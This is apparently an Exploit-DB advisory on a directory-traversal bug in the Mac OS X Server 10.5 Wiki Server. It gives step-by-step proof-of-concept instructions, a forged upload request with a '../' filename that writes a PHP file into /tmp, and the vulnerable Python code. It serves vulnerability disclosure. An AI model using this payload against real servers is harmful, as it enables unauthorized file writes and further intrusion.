Apple Mac OSX Server 10.5 - Wiki Server Directory Traversal

EDB-ID:

31412


Platform:

OSX

Published:

2008-03-17

source: http://www.securityfocus.com/bid/28278/info

Apple Mac OS X Server Wiki Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access arbitrary files outside of the application's document root directory. This can expose sensitive information that could help the attacker launch further attacks.

Note that attackers must be registered wiki users to exploit this issue.

Wiki Server from Mac OS X Server 10.5 is vulnerable.

Next, we show a Proof of Concept (PoC) attack to the Leopard's Wiki
Server. It creates a file 'popote.php' at '/tmp/[xxxxx]/' where
'[xxxxx]' are random hexa characters assigned to the file, as we have
said. You can write on all the folders where user '_teamsserver', the
user running the Wiki Server, has permissions.

For example, to reproduce the attack using Paros proxy [3], follow these
steps:

- Check the web server is up.
- Check you have a system user/password in the system, for example
guest, and the log in.
- Start editing a new post in your blog.
- Start Paros proxy, go to Trap tab and enable Trap requests checkbox.
- Start uploading your preferred file, for example popote.php.
- In Paros, press Continue until you find the POST request.
- Append '../../../../../../..' at the beginning of 'popote.php' plus
your wished path, for example '/tmp/'.
- Press Continue a couple of times to send the request.
- If user '_teamsserver' has permissions on the wished folder, you will
write file 'popote.php' inside subfolder '[xxxxx]', where [xxxxx] are
hash/random hexa characters that depend on the file.

There are several strategies that can be used in combination with a
path traversal to gain complete control of the victim's server, although
we will not discuss them here.

An example forged request follows:

/-----------

POST http://192.168.xxx.xxx/users/guest/weblog/3f081/attachments HTTP/1.0
User-Agent: Opera/9.24 (Macintosh; Intel Mac OS X; U; en) Paros/3.2.13
Host: 192.168.xxx.xxx
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language:
en,ja;q=0.9,fr;q=0.8,de;q=0.7,es;q=0.6,it;q=0.5,nl;q=0.4,sv;q=0.3,nb;q=0.2,da;q=0.1,fi;q=0.1,pt;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1,ru;q=0.1,en;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: identity, *;q=0
Referer: http://192.168.xxx.xxx/users/guest/weblog/3f081/
Cookie: cookies=1; acl_cache=3; recentTags=add tags here;
SQMSESSID=fe79c978b66bf3bf6d0c433abd6008a6;
sessionID=75706E3C-FA5A-4535-85EA-0D69812D21D3; utcOffset=-3; uploadID=57904
Cookie2: $Version=1
Proxy-Connection: close
Content-length: 426
Content-Type: multipart/form-data; boundary=----------YN7xkbcuNgNx21psG30p21

------------YN7xkbcuNgNx21psG30p21

Content-Disposition: form-data; name="Attachment";
filename="../../../../../../../tmp/popote.php"

Content-Type: application/octet-stream



<? phphinfo(); ?>


  ------------YN7xkbcuNgNx21psG30p21

  Content-Disposition: form-data; name="ok_button"



  Attach

  ------------YN7xkbcuNgNx21psG30p21

  Content-Disposition: form-data; name="upload_id"



  57904

  ------------YN7xkbcuNgNx21psG30p21--

-----------/


    The vulnerable code is located at
'/usr/share/wikid/lib/python/apple_wlt/ContentServer.py':


/-----------

def uploadFileCallback(self, result):
        filename, filetype, aFile = result[1][self.type][0]
        filename = filename.decode('utf-8')
        filename = filename.split('\\')[-1] # IE sends the whole path,
including your local username.
        extension = filename.split('.')[-1]
        oldFilename = filename
        uploadType = os.path.split(self.fullpath)[-1]
        if uploadType == "images":
                filename = SettingsManager.findGoodName() + '.' + extension
        logging.debug("beginning file upload: %s" % filename)
        isImage = filenameIsImage(filename)
        newPath = ImageUtilities.findUniqueFileName(os.path.join(self.fullpath,
filename), isImage = (not uploadType == 'attachments'))
        newFilename = os.path.basename(newPath)
        if uploadType == "attachments":
                newParentFolder = os.path.dirname(newPath)
                os.mkdir(newParentFolder)
                newFilename = os.path.join(os.path.basename(newParentFolder), filename)
      [...]


-----------/


    The hash/random hexa characters used for the attachment subfolder
are generated by code at
'/usr/share/wikid/lib/python/apple_utilities/ImageUtilities.py':


/-----------

def findUniqueFileName(inPath, isImage = True):
        """Uniqueifies a file name, to avoid duplicates in images and
attachments"""
        filename = os.path.basename(inPath)
        base, extension = os.path.splitext(filename)
        parent = os.path.dirname(inPath)
        aPath = ''
        mungedName = SettingsManager.findGoodName()
        if not isImage:
                #attachment, so make the minged name a subdirectory and put the file
in that
                aPath = os.path.join(parent, mungedName, filename)
                while os.path.exists(aPath):
                        mungedName = SettingsManager.findGoodName(mungedName)
                        aPath = os.path.join(parent, mungedName, filename)
        else:
                aPath = os.path.join(parent, mungedName + extension)
                while os.path.exists(aPath):
                        mungedName = SettingsManager.findGoodName(mungedName)
                        aPath = os.path.join(parent, mungedName + extension)
        return aPath

-----------/